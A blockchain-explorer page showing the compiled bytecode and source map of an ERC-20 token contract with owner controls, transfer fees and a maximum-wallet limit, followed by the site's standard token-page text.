a8e908690611b8d565b611108565b5060019392505050565b33600081815260046020908152604080832073ffffffffffffffffffffffffffffffffffffffff87168452909152812054909161054c918590610a8e908690611ba4565b60005473ffffffffffffffffffffffffffffffffffffffff163314610b88576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e0000000000000000000000000000000000000000000000000000000000000060648201526084016105f8565b600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b60005473ffffffffffffffffffffffffffffffffffffffff163314610c59576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e0000000000000000000000000000000000000000000000000000000000000060648201526084016105f8565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600a60209081526040918290205482518084018452600e81527f466c6f6f72204973204c6176612100000000000000000000000000000000000081840152925160ff9091161515841515141592610cce92909101611bbc565b60405160208183030381529060405290610d15576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f89190611928565b5073ffffffffffffffffffffffffffffffffffffffff919091166000908152600a6020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055565b33600081815260046020908152604080832073ffffffffffffffffffffffffffffffffffffffff87168452909152812054909161054c918590610a8e908690611b8d565b600061054c338484611286565b60005473ffffffffffffffffffffffffffffffffffffffff163314610e64576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e0000000000000000000000000000000000000000000000000000000000000060648201526084016105f8565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600b60209081526040918290205482518084018452600e81527f466c6f6f72204973204c6176612100000000000000000000000000000000000081840152925160ff9091161515841515141592610ed992909101611c23565b60405160208183030381529060405290610f20576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f89190611928565b5073ffffffffffffffffffffffffffffffffffffffff919091166000908152600b6020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055565b60005473ffffffffffffffffffffffffffffffffffffffff16331461101e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e0000000000000000000000000000000000000000000000000000000000000060648201526084016105f8565b73ffffffffffffffffffffffffffffffffffffffff81166110c1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602760248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f6464726573732e0000000000000000000000000000000000000000000000000060648201526084016105f8565b600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b73ffffffffffffffffffffffffffffffffffffffff83166111aa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016105f8565b73ffffffffffffffffffffffffffffffffffffffff821661124d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016105f8565b73ffffffffffffffffffffffffffffffffffffffff92831660009081526004602090815260408083209490951682529290925291902055565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156040518060400160405280600e81526020017f466c6f6f72204973204c617661210000000000000000000000000000000000008152506040516020016112fd9190611c8a565b60405160208183030381529060405290611344576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f89190611928565b50600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156040518060400160405280600e81526020017f466c6f6f72204973204c617661210000000000000000000000000000000000008152506040516020016113bc9190611cf1565b60405160208183030381529060405290611403576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f89190611928565b50600081116040518060400160405280600e81526020017f466c6f6f72204973204c6176612100000000000000000000000000000000000081525060405160200161144e9190611d58565b60405160208183030381529060405290611495576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f89190611928565b5073ffffffffffffffffffffffffffffffffffffffff83166000908152600360205260409020548111156040518060400160405280600e81526020017f466c6f6f72204973204c617661210000000000000000000000000000000000008152506040516020016115059190611dbf565b6040516020818303038152906040529061154c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f89190611928565b5060056006544361155d9190611b8d565b1161157e5760005473ffffffffffffffffffffffffffffffffffffffff1691505b73ffffffffffffffffffffffffffffffffffffffff82166000908152600a602052604090205460ff1661167657600954816115db8473ffffffffffffffffffffffffffffffffffffffff1660009081526003602052604090205490565b6115e59190611ba4565b11156040518060400160405280600e81526020017f466c6f6f72204973204c6176612100000000000000000000000000000000000081525060405160200161162d9190611e26565b60405160208183030381529060405290611674576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f89190611928565b505b73ffffffffffffffffffffffffffffffffffffffff83166000908152600b602052604090205460ff16806116cf575073ffffffffffffffffffffffffffffffffffffffff82166000908152600b602052604090205460ff165b156117b65773ffffffffffffffffffffffffffffffffffffffff831660009081526003602052604081208054839290611709908490611b8d565b909155505073ffffffffffffffffffffffffffffffffffffffff821660009081526003602052604081208054839290611743908490611ba4565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117a991815260200190565b60405180910390a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260036020526040812080548392906117eb908490611b8d565b9091555050600c546064906118039060ff1683611b15565b61180d9190611b52565b6118179082611b8d565b73ffffffffffffffffffffffffffffffffffffffff83166000908152600360205260408120805490919061184c908490611ba4565b9091555050600c546064906118649060ff1683611b15565b61186e9190611b52565b6005600082825461187f9190611b8d565b9091555050600c5473ffffffffffffffffffffffffffffffffffffffff80841691908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906064906118d69060ff1686611b15565b6118e09190611b52565b6118ea9085611b8d565b6040519081526020016117a9565b60005b838110156119135781810151838201526020016118fb565b83811115611922576000848401525b50505050565b60208152600082518060208401526119478160408501602087016118f8565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169190910160400192915050565b73ffffffffffffffffffffffffffffffffffffffff8116811461199b57600080fd5b50565b600080604083850312156119b157600080fd5b82356119bc81611979565b946020939093013593505050565b6000806000606084860312156119df57600080fd5b83356119ea81611979565b925060208401356119fa81611979565b929592945050506040919091013590565b600060208284031215611a1d57600080fd5b8135611a2881611979565b9392505050565b60008060408385031215611a4257600080fd5b8235611a4d81611979565b915060208301358015158114611a6257600080fd5b809150509250929050565b60008060408385031215611a8057600080fd5b8235611a8b81611979565b91506020830135611a6281611979565b600080600060608486031215611ab057600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611adb57600080fd5b8151611a2881611979565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611b4d57611b4d611ae6565b500290565b600082611b88577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b600082821015611b9f57611b9f611ae6565b500390565b60008219821115611bb757611bb7611ae6565b500190565b60008251611bce8184602087016118f8565b7f3a206163636f756e7420697320616c7265616479206578636c756465642066729201918252507f6f6d206d61782077616c6c6574206c696d69742e0000000000000000000000006020820152603401919050565b60008251611c358184602087016118f8565b7f3a206163636f756e7420697320616c7265616479206578636c756465642066729201918252507f6f6d20666565732e0000000000000000000000000000000000000000000000006020820152602801919050565b60008251611c9c8184602087016118f8565b7f3a2063616e6e6f74207472616e736665722066726f6d20746865207a65726f209201918252507f616464726573732e0000000000000000000000000000000000000000000000006020820152602801919050565b60008251611d038184602087016118f8565b7f3a2063616e6e6f74207472616e7366657220746f20746865207a65726f2061649201918252507f64726573732e00000000000000000000000000000000000000000000000000006020820152602601919050565b60008251611d6a8184602087016118f8565b7f3a207472616e7366657220616d6f756e74206d757374206265206772656174659201918252507f72207468616e207a65726f2e00000000000000000000000000000000000000006020820152602c01919050565b60008251611dd18184602087016118f8565b7f3a2063616e6e6f74207472616e73666572206d6f7265207468616e2062616c619201918252507f6e63652e000000000000000000000000000000000000000000000000000000006020820152602401919050565b60008251611e388184602087016118f8565b7f3a2065787065637465642077616c6c657420616d6f756e7420657863656564739201918252507f20746865206d617857616c6c6574416d6f756e742e0000000000000000000000602082015260350191905056fea2646970667358221220edda3318978588f231ba2412a9c51bffb1caeca6f00fb9792716dcc7b6debf5b64736f6c634300080d0033

Deployed Bytecode Sourcemap

2217:5955:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6273:71;;;;;;;;;;-1:-1:-1;6336:5:0;;;;;;;;;;;;;;;;;6273:71;;;;;;;:::i;:::-;;;;;;;;3858:163;;;;;;;;;;-1:-1:-1;3858:163:0;;;;;:::i;:::-;;:::i;:::-;;;1368:14:1;;1361:22;1343:41;;1331:2;1316:18;3858:163:0;1203:187:1;5615:650:0;;;;;;;;;;;;;:::i;:::-;;2264:30;;;;;;;;;;-1:-1:-1;2264:30:0;;;;;;;;;;;1586:42:1;1574:55;;;1556:74;;1544:2;1529:18;2264:30:0;1395:241:1;6516:87:0;;;;;;;;;;-1:-1:-1;6588:12:0;;6516:87;;;1787:25:1;;;1775:2;1760:18;6516:87:0;1641:177:1;4027:267:0;;;;;;;;;;-1:-1:-1;4027:267:0;;;;;:::i;:::-;;:::i;6431:79::-;;;;;;;;;;-1:-1:-1;2475:2:0;6431:79;;;2456:4:1;2444:17;;;2426:36;;2414:2;2399:18;6431:79:0;2284:184:1;4300:214:0;;;;;;;;;;-1:-1:-1;4300:214:0;;;;;:::i;:::-;;:::i;2301:28::-;;;;;;;;;;-1:-1:-1;2301:28:0;;;;;;;;6703:104;;;;;;;;;;-1:-1:-1;6703:104:0;;;;;:::i;:::-;6787:17;;6769:7;6787:17;;;:8;:17;;;;;;;6703:104;1931:80;;;;;;;;;;;;;:::i;4751:302::-;;;;;;;;;;-1:-1:-1;4751:302:0;;;;;:::i;:::-;;:::i;1734:65::-;;;;;;;;;;-1:-1:-1;1772:7:0;1790:6;;;1734:65;;6350:75;;;;;;;;;;-1:-1:-1;6415:7:0;;;;;;;;;;;;;;;;;6350:75;;4520:225;;;;;;;;;;-1:-1:-1;4520:225:0;;;;;:::i;:::-;;:::i;3683:169::-;;;;;;;;;;-1:-1:-1;3683:169:0;;;;;:::i;:::-;;:::i;2723:58::-;;;;;;;;;;-1:-1:-1;2723:58:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5059:258;;;;;;;;;;-1:-1:-1;5059:258:0;;;;;:::i;:::-;;:::i;6813:131::-;;;;;;;;;;-1:-1:-1;6813:131:0;;;;;:::i;:::-;6914:18;;;;6896:7;6914:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6813:131;2017:193;;;;;;;;;;-1:-1:-1;2017:193:0;;;;;:::i;:::-;;:::i;6609:88::-;;;;;;;;;;-1:-1:-1;6679:15:0;;6609:88;;3014:25;;;;;;;;;;-1:-1:-1;3014:25:0;;;;;;;;3858:163;3935:4;3952:39;1549:10;3975:7;3984:6;3952:8;:39::i;:::-;-1:-1:-1;4009:4:0;3858:163;;;;:::o;5615:650::-;1845:6;;:22;:6;1549:10;1845:22;1837:68;;;;;;;3972:2:1;1837:68:0;;;3954:21:1;4011:2;3991:18;;;3984:30;4050:34;4030:18;;;4023:62;4121:3;4101:18;;;4094:31;4142:19;;1837:68:0;;;;;;;;;5681:16:::1;::::0;::::1;;5680:17;5672:61;;;::::0;::::1;::::0;;4374:2:1;5672:61:0::1;::::0;::::1;4356:21:1::0;4413:2;4393:18;;;4386:30;4452:33;4432:18;;;4425:61;4503:18;;5672:61:0::1;4172:355:1::0;5672:61:0::1;5744:16;:23:::0;;;::::1;5763:4;5744:23:::0;;::::1;::::0;;;5810:15;5828:12:::1;::::0;5778:63:::1;::::0;5795:4:::1;::::0;5810:15:::1;::::0;;::::1;::::0;5778:8:::1;:63::i;:::-;5852:15;::::0;::::1;;:31;5891:21;5922:4;5929:24;5922:4:::0;6787:17;;6769:7;6787:17;;;:8;:17;;;;;;;6703:104;5929:24:::1;5955:1;::::0;1549:10;5852:139:::1;::::0;::::1;::::0;;;;;;;4845:42:1;4914:15;;;5852:139:0::1;::::0;::::1;4896:34:1::0;4946:18;;;4939:34;;;;4989:18;;;4982:34;;;;5032:18;;;5025:34;5096:15;;;5075:19;;;5068:44;5975:15:0::1;5128:19:1::0;;;5121:35;4807:19;;5852:139:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;6027:15:0::1;::::0;:25:::1;::::0;;;;;;;:15:::1;::::0;;::::1;::::0;-1:-1:-1;6027:23:0::1;::::0;:25:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;:15;:25:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6018:43;;;6070:4;6077:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6018:82;::::0;;::::1;::::0;;;;;;5918:42:1;5987:15;;;6018:82:0::1;::::0;::::1;5969:34:1::0;6039:15;;6019:18;;;6012:43;5881:18;;6018:82:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6002:13;:98:::0;;;::::1;;::::0;;;::::1;::::0;;::::1;::::0;;-1:-1:-1;6111:44:0;;;:29:::1;:44;::::0;;;;:51;;;::::1;-1:-1:-1::0;6111:51:0;;::::1;::::0;;;6191:12:::1;::::0;6210:3:::1;::::0;6191:16:::1;::::0;:12;:16:::1;:::i;:::-;:22;;;;:::i;:::-;6173:15;:40:::0;6245:12:::1;6224:18;:33:::0;5615:650::o;4027:267::-;4126:4;4143:36;4153:6;4161:9;4172:6;4143:9;:36::i;:::-;4221:19;;;;;;;:11;:19;;;;;;;;1549:10;4221:33;;;;;;;;;4190:74;;4199:6;;4221:42;;4257:6;;4221:42;:::i;:::-;4190:8;:74::i;:::-;-1:-1:-1;4282:4:0;4027:267;;;;;:::o;4300:214::-;1549:10;4390:4;4436:25;;;:11;:25;;;;;;;;;:34;;;;;;;;;;4390:4;;4406:78;;4428:7;;4436:47;;4473:10;;4436:47;:::i;1931:80::-;1845:6;;:22;:6;1549:10;1845:22;1837:68;;;;;;;3972:2:1;1837:68:0;;;3954:21:1;4011:2;3991:18;;;3984:30;4050:34;4030:18;;;4023:62;4121:3;4101:18;;;4094:31;4142:19;;1837:68:0;3770:397:1;1837:68:0;2006:1:::1;1989:19:::0;;;::::1;::::0;;1931:80::o;4751:302::-;1845:6;;:22;:6;1549:10;1845:22;1837:68;;;;;;;3972:2:1;1837:68:0;;;3954:21:1;4011:2;3991:18;;;3984:30;4050:34;4030:18;;;4023:62;4121:3;4101:18;;;4094:31;4142:19;;1837:68:0;3770:397:1;1837:68:0;4856:38:::1;::::0;::::1;;::::0;;;:29:::1;:38;::::0;;;;;;;;;4922:5;;;;::::1;::::0;;::::1;::::0;;::::1;::::0;;::::1;::::0;4908:76;;4856:38:::1;::::0;;::::1;:50;;::::0;::::1;;;;::::0;4908:76:::1;::::0;4922:5;;4908:76:::1;;:::i;:::-;;;;;;;;;;;;;4848:137;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;4996:38:0::1;::::0;;;::::1;;::::0;;;:29:::1;:38;::::0;;;;:49;;;::::1;::::0;::::1;;::::0;;;::::1;::::0;;4751:302::o;4520:225::-;1549:10;4615:4;4662:25;;;:11;:25;;;;;;;;;:34;;;;;;;;;;4615:4;;4632:83;;4654:7;;4662:52;;4699:15;;4662:52;:::i;3683:169::-;3763:4;3780:42;1549:10;3804:9;3815:6;3780:9;:42::i;5059:258::-;1845:6;;:22;:6;1549:10;1845:22;1837:68;;;;;;;3972:2:1;1837:68:0;;;3954:21:1;4011:2;3991:18;;;3984:30;4050:34;4030:18;;;4023:62;4121:3;4101:18;;;4094:31;4142:19;;1837:68:0;3770:397:1;1837:68:0;5154:27:::1;::::0;::::1;;::::0;;;:18:::1;:27;::::0;;;;;;;;;5209:5;;;;::::1;::::0;;::::1;::::0;;::::1;::::0;;::::1;::::0;5195:64;;5154:27:::1;::::0;;::::1;:39;;::::0;::::1;;;;::::0;5195:64:::1;::::0;5209:5;;5195:64:::1;;:::i;:::-;;;;;;;;;;;;;5146:114;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;5271:27:0::1;::::0;;;::::1;;::::0;;;:18:::1;:27;::::0;;;;:38;;;::::1;::::0;::::1;;::::0;;;::::1;::::0;;5059:258::o;2017:193::-;1845:6;;:22;:6;1549:10;1845:22;1837:68;;;;;;;3972:2:1;1837:68:0;;;3954:21:1;4011:2;3991:18;;;3984:30;4050:34;4030:18;;;4023:62;4121:3;4101:18;;;4094:31;4142:19;;1837:68:0;3770:397:1;1837:68:0;2108:22:::1;::::0;::::1;2100:74;;;::::0;::::1;::::0;;8286:2:1;2100:74:0::1;::::0;::::1;8268:21:1::0;8325:2;8305:18;;;8298:30;8364:34;8344:18;;;8337:62;8435:9;8415:18;;;8408:37;8462:19;;2100:74:0::1;8084:403:1::0;2100:74:0::1;2185:6;:17:::0;;;::::1;;::::0;;;::::1;::::0;;;::::1;::::0;;2017:193::o;5323:286::-;5415:19;;;5407:68;;;;;;;8694:2:1;5407:68:0;;;8676:21:1;8733:2;8713:18;;;8706:30;8772:34;8752:18;;;8745:62;8843:6;8823:18;;;8816:34;8867:19;;5407:68:0;8492:400:1;5407:68:0;5494:21;;;5486:68;;;;;;;9099:2:1;5486:68:0;;;9081:21:1;9138:2;9118:18;;;9111:30;9177:34;9157:18;;;9150:62;9248:4;9228:18;;;9221:32;9270:19;;5486:68:0;8897:398:1;5486:68:0;5565:18;;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;5323:286::o;6952:1217::-;7057:1;7041:18;;:4;:18;;;;7075:5;;;;;;;;;;;;;;;;;7061:64;;;;;;;;:::i;:::-;;;;;;;;;;;;;7033:93;;;;;;;;;;;;;;:::i;:::-;;7159:1;7145:16;;:2;:16;;;;7177:5;;;;;;;;;;;;;;;;;7163:62;;;;;;;;:::i;:::-;;;;;;;;;;;;;7137:89;;;;;;;;;;;;;;:::i;:::-;;7254:1;7245:6;:10;7271:5;;;;;;;;;;;;;;;;;7257:68;;;;;;;;:::i;:::-;;;;;;;;;;;;;7237:89;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;6787:17:0;;;6769:7;6787:17;;;:8;:17;;;;;;7345:6;:25;;7386:5;;;;;;;;;;;;;;;;;7372:60;;;;;;;;:::i;:::-;;;;;;;;;;;;;7337:96;;;;;;;;;;;;;;:::i;:::-;;7487:1;7464:18;;7449:12;:33;;;;:::i;:::-;7448:40;7444:63;;1772:7;1790:6;;;7492:12;;7444:63;7522:33;;;;;;;:29;:33;;;;;;;;7517:198;;7608:15;;7597:6;7581:13;7591:2;6787:17;;6769:7;6787:17;;;:8;:17;;;;;;;6703:104;7581:13;:22;;;;:::i;:::-;7580:43;;7639:5;;;;;;;;;;;;;;;;;7625:77;;;;;;;;:::i;:::-;;;;;;;;;;;;;7572:131;;;;;;;;;;;;;;:::i;:::-;;7517:198;7729:24;;;;;;;:18;:24;;;;;;;;;:50;;-1:-1:-1;7757:22:0;;;;;;;:18;:22;;;;;;;;7729:50;7725:437;;;7796:14;;;;;;;:8;:14;;;;;:24;;7814:6;;7796:14;:24;;7814:6;;7796:24;:::i;:::-;;;;-1:-1:-1;;7835:12:0;;;;;;;:8;:12;;;;;:22;;7851:6;;7835:12;:22;;7851:6;;7835:22;:::i;:::-;;;;;;;;7892:2;7877:26;;7886:4;7877:26;;;7896:6;7877:26;;;;1787:25:1;;1775:2;1760:18;;1641:177;7877:26:0;;;;;;;;6952:1217;;;:::o;7725:437::-;7936:14;;;;;;;:8;:14;;;;;:24;;7954:6;;7936:14;:24;;7954:6;;7936:24;:::i;:::-;;;;-1:-1:-1;;8010:7:0;;8020:3;;8001:16;;8010:7;;8001:6;:16;:::i;:::-;:22;;;;:::i;:::-;7991:33;;:6;:33;:::i;:::-;7975:12;;;;;;;:8;:12;;;;;:49;;:12;;;:49;;;;;:::i;:::-;;;;-1:-1:-1;;8064:7:0;;8074:3;;8055:16;;8064:7;;8055:6;:16;:::i;:::-;:22;;;;:::i;:::-;8039:12;;:38;;;;;;;:::i;:::-;;;;-1:-1:-1;;8135:7:0;;8097:53;;;;;;;;;;;8145:3;;8126:16;;8135:7;;8126:6;:16;:::i;:::-;:22;;;;:::i;:::-;8116:33;;:6;:33;:::i;:::-;8097:53;;1787:25:1;;;1775:2;1760:18;8097:53:0;1641:177:1;14:258;86:1;96:113;110:6;107:1;104:13;96:113;;;186:11;;;180:18;167:11;;;160:39;132:2;125:10;96:113;;;227:6;224:1;221:13;218:48;;;262:1;253:6;248:3;244:16;237:27;218:48;;14:258;;;:::o;277:442::-;426:2;415:9;408:21;389:4;458:6;452:13;501:6;496:2;485:9;481:18;474:34;517:66;576:6;571:2;560:9;556:18;551:2;543:6;539:15;517:66;:::i;:::-;635:2;623:15;640:66;619:88;604:104;;;;710:2;600:113;;277:442;-1:-1:-1;;277:442:1:o;724:154::-;810:42;803:5;799:54;792:5;789:65;779:93;;868:1;865;858:12;779:93;724:154;:::o;883:315::-;951:6;959;1012:2;1000:9;991:7;987:23;983:32;980:52;;;1028:1;1025;1018:12;980:52;1067:9;1054:23;1086:31;1111:5;1086:31;:::i;:::-;1136:5;1188:2;1173:18;;;;1160:32;;-1:-1:-1;;;883:315:1:o;1823:456::-;1900:6;1908;1916;1969:2;1957:9;1948:7;1944:23;1940:32;1937:52;;;1985:1;1982;1975:12;1937:52;2024:9;2011:23;2043:31;2068:5;2043:31;:::i;:::-;2093:5;-1:-1:-1;2150:2:1;2135:18;;2122:32;2163:33;2122:32;2163:33;:::i;:::-;1823:456;;2215:7;;-1:-1:-1;;;2269:2:1;2254:18;;;;2241:32;;1823:456::o;2704:247::-;2763:6;2816:2;2804:9;2795:7;2791:23;2787:32;2784:52;;;2832:1;2829;2822:12;2784:52;2871:9;2858:23;2890:31;2915:5;2890:31;:::i;:::-;2940:5;2704:247;-1:-1:-1;;;2704:247:1:o;2956:416::-;3021:6;3029;3082:2;3070:9;3061:7;3057:23;3053:32;3050:52;;;3098:1;3095;3088:12;3050:52;3137:9;3124:23;3156:31;3181:5;3156:31;:::i;:::-;3206:5;-1:-1:-1;3263:2:1;3248:18;;3235:32;3305:15;;3298:23;3286:36;;3276:64;;3336:1;3333;3326:12;3276:64;3359:7;3349:17;;;2956:416;;;;;:::o;3377:388::-;3445:6;3453;3506:2;3494:9;3485:7;3481:23;3477:32;3474:52;;;3522:1;3519;3512:12;3474:52;3561:9;3548:23;3580:31;3605:5;3580:31;:::i;:::-;3630:5;-1:-1:-1;3687:2:1;3672:18;;3659:32;3700:33;3659:32;3700:33;:::i;5167:306::-;5255:6;5263;5271;5324:2;5312:9;5303:7;5299:23;5295:32;5292:52;;;5340:1;5337;5330:12;5292:52;5369:9;5363:16;5353:26;;5419:2;5408:9;5404:18;5398:25;5388:35;;5463:2;5452:9;5448:18;5442:25;5432:35;;5167:306;;;;;:::o;5478:251::-;5548:6;5601:2;5589:9;5580:7;5576:23;5572:32;5569:52;;;5617:1;5614;5607:12;5569:52;5649:9;5643:16;5668:31;5693:5;5668:31;:::i;6066:184::-;6118:77;6115:1;6108:88;6215:4;6212:1;6205:15;6239:4;6236:1;6229:15;6255:228;6295:7;6421:1;6353:66;6349:74;6346:1;6343:81;6338:1;6331:9;6324:17;6320:105;6317:131;;;6428:18;;:::i;:::-;-1:-1:-1;6468:9:1;;6255:228::o;6488:274::-;6528:1;6554;6544:189;;6589:77;6586:1;6579:88;6690:4;6687:1;6680:15;6718:4;6715:1;6708:15;6544:189;-1:-1:-1;6747:9:1;;6488:274::o;6767:125::-;6807:4;6835:1;6832;6829:8;6826:34;;;6840:18;;:::i;:::-;-1:-1:-1;6877:9:1;;6767:125::o;6897:128::-;6937:3;6968:1;6964:6;6961:1;6958:13;6955:39;;;6974:18;;:::i;:::-;-1:-1:-1;7010:9:1;;6897:128::o;7030:528::-;7262:3;7300:6;7294:13;7316:53;7362:6;7357:3;7350:4;7342:6;7338:17;7316:53;:::i;:::-;7430:34;7391:16;;7416:49;;;-1:-1:-1;7499:22:1;7492:4;7481:16;;7474:48;7549:2;7538:14;;7030:528;-1:-1:-1;7030:528:1:o;7563:516::-;7795:3;7833:6;7827:13;7849:53;7895:6;7890:3;7883:4;7875:6;7871:17;7849:53;:::i;:::-;7963:34;7924:16;;7949:49;;;-1:-1:-1;8032:10:1;8025:4;8014:16;;8007:36;8070:2;8059:14;;7563:516;-1:-1:-1;7563:516:1:o;9300:::-;9532:3;9570:6;9564:13;9586:53;9632:6;9627:3;9620:4;9612:6;9608:17;9586:53;:::i;:::-;9700:34;9661:16;;9686:49;;;-1:-1:-1;9769:10:1;9762:4;9751:16;;9744:36;9807:2;9796:14;;9300:516;-1:-1:-1;9300:516:1:o;9821:514::-;10053:3;10091:6;10085:13;10107:53;10153:6;10148:3;10141:4;10133:6;10129:17;10107:53;:::i;:::-;10221:34;10182:16;;10207:49;;;-1:-1:-1;10290:8:1;10283:4;10272:16;;10265:34;10326:2;10315:14;;9821:514;-1:-1:-1;9821:514:1:o;10340:520::-;10572:3;10610:6;10604:13;10626:53;10672:6;10667:3;10660:4;10652:6;10648:17;10626:53;:::i;:::-;10740:34;10701:16;;10726:49;;;-1:-1:-1;10809:14:1;10802:4;10791:16;;10784:40;10851:2;10840:14;;10340:520;-1:-1:-1;10340:520:1:o;10865:512::-;11097:3;11135:6;11129:13;11151:53;11197:6;11192:3;11185:4;11177:6;11173:17;11151:53;:::i;:::-;11265:34;11226:16;;11251:49;;;-1:-1:-1;11334:6:1;11327:4;11316:16;;11309:32;11368:2;11357:14;;10865:512;-1:-1:-1;10865:512:1:o;11382:529::-;11614:3;11652:6;11646:13;11668:53;11714:6;11709:3;11702:4;11694:6;11690:17;11668:53;:::i;:::-;11782:34;11743:16;;11768:49;;;-1:-1:-1;11851:23:1;11844:4;11833:16;;11826:49;11902:2;11891:14;;11382:529;-1:-1:-1;11382:529:1:o

Swarm Source

ipfs://edda3318978588f231ba2412a9c51bffb1caeca6f00fb9792716dcc7b6debf5b
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.